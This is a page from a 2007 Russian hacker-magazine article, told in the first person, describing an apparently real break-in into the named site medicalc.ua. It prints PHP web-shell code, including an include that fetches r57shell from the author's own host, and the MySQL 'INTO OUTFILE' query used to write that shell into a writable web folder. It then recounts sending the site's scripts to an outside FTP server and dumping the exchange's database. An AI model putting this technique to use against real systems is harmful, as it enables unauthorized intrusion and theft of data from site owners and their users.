Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #101, МАЙ 2007 г.

Без крови и оружия

M3lc1y

Хакер, номер #101, стр. 101-058-4

Есть еще один способ выхода из этой ситуации - получение шелла через SQL-запросы типа «INTO OUTFILE». Идея такова: сначала мы пишем в какую-нибудь колонку таблицы нечто вроде «<? system($_GET['cmd']); ?>» или что-то подобное. Например, «<? include("http://M3lc1y.narod.ru/r57shell.txt"); ?>». Единственный минус этого инклуда - невозможность работы с GET-запросами. Ну и ладно! Такие шеллы, как r57shell от небезызвестной rst.void.ru, работают исключительно с POST-запросами, кроме того, известно, что POST сорит в логах веб-сервера намного меньше, чем GET, что является его неоспоримым преимуществом для хакеров.

Что-то мы отвлеклись :). Итак, записываем наш PHP-код, например, в таблицу med_users, в колонку password с id, равным 20. В итоге при запросе типа «SELECT password FROM med_users WHERE id=20» на экране должен появиться тот самый PHP-код, который мы и вбивали в БД. В MySQL есть флаг запроса «INTO OUTFILE», который позволяет вывести его результат в текстовый файл. Я клоню к тому, что если выводить ответ от SQL так: «SELECT password FROM med_users WHERE id=20 INTO OUTFILE '/home/medicalc/public_html/medical/temp.php'», то можно без проблем залить полноценный веб-шелл. Но и тут есть свои подводные камни. Во-первых, хватает ли у тебя привилегий SQL-юзера, чтобы работать с INTO? И, во-вторых, не забывай про права на запись в файлах и папках. Но и тут мне повезло :). Правда, не с первого раза. В корневую веб-директорию залить ничего не получилось. Но я не сдался и начал подбирать другие папки, возможно, доступные для записи. Такой папкой была /home/medicalc/public_html/medical/guestbook.

Я выполнил запрос уже так:

SELECT password FROM med_users WHERE id=20 INTO OUTFILE '/home/medicalc/public_html/medical/guestbook/temp.php'

Перешел по адресу http://medicalc.ua/guestbook/temp.php и увидел веб-шелл! Моей радости снова не было предела! Что касается операционки, то это была FreeBSD 6.0. Поднимать привилегии не имело смысла - как я и предполагал, прав на чтение директории самого обменника вполне хватало!

Я поспешил сделать дамп БД обменника и всех скриптов этого сайта, но тут был облом :). Поскольку на сервере стоял Safe Mode, упаковать файлы в tar-архив не получалось, так как было невозможно выполнять команды (на то это и Safe Mode).

Копипастить архивы было занятием для мазохистов, кроме того, я боялся, что в папке guestbook перезапишу старые скрипты.

Тут на помощь пришел один из сценариев DxGotoFTP, который ты можешь найти на нашем сайте. Он занимается тем, что заливает любые файлы из заданной директории на удаленный FTP-сервер, тоже в нужную тебе папку. Скрипт удачно выполнил свою работу, несмотря на ограничения подлого PHP. Кстати говоря, сначала я хотел залить perl'овый веб-шелл в папку /cgi-bin, но, к сожалению, мои привилегии были минимальны (nobody). Зайдя на свой FTP, я сжал все скрипты в один архив и слил себе на комп, нашел в сценариях конфиг базы данных и быстренько сотворил дамп MySQL обменника.

Назад на стр. 101-058-3  Содержание  Вперед на стр. 101-058-5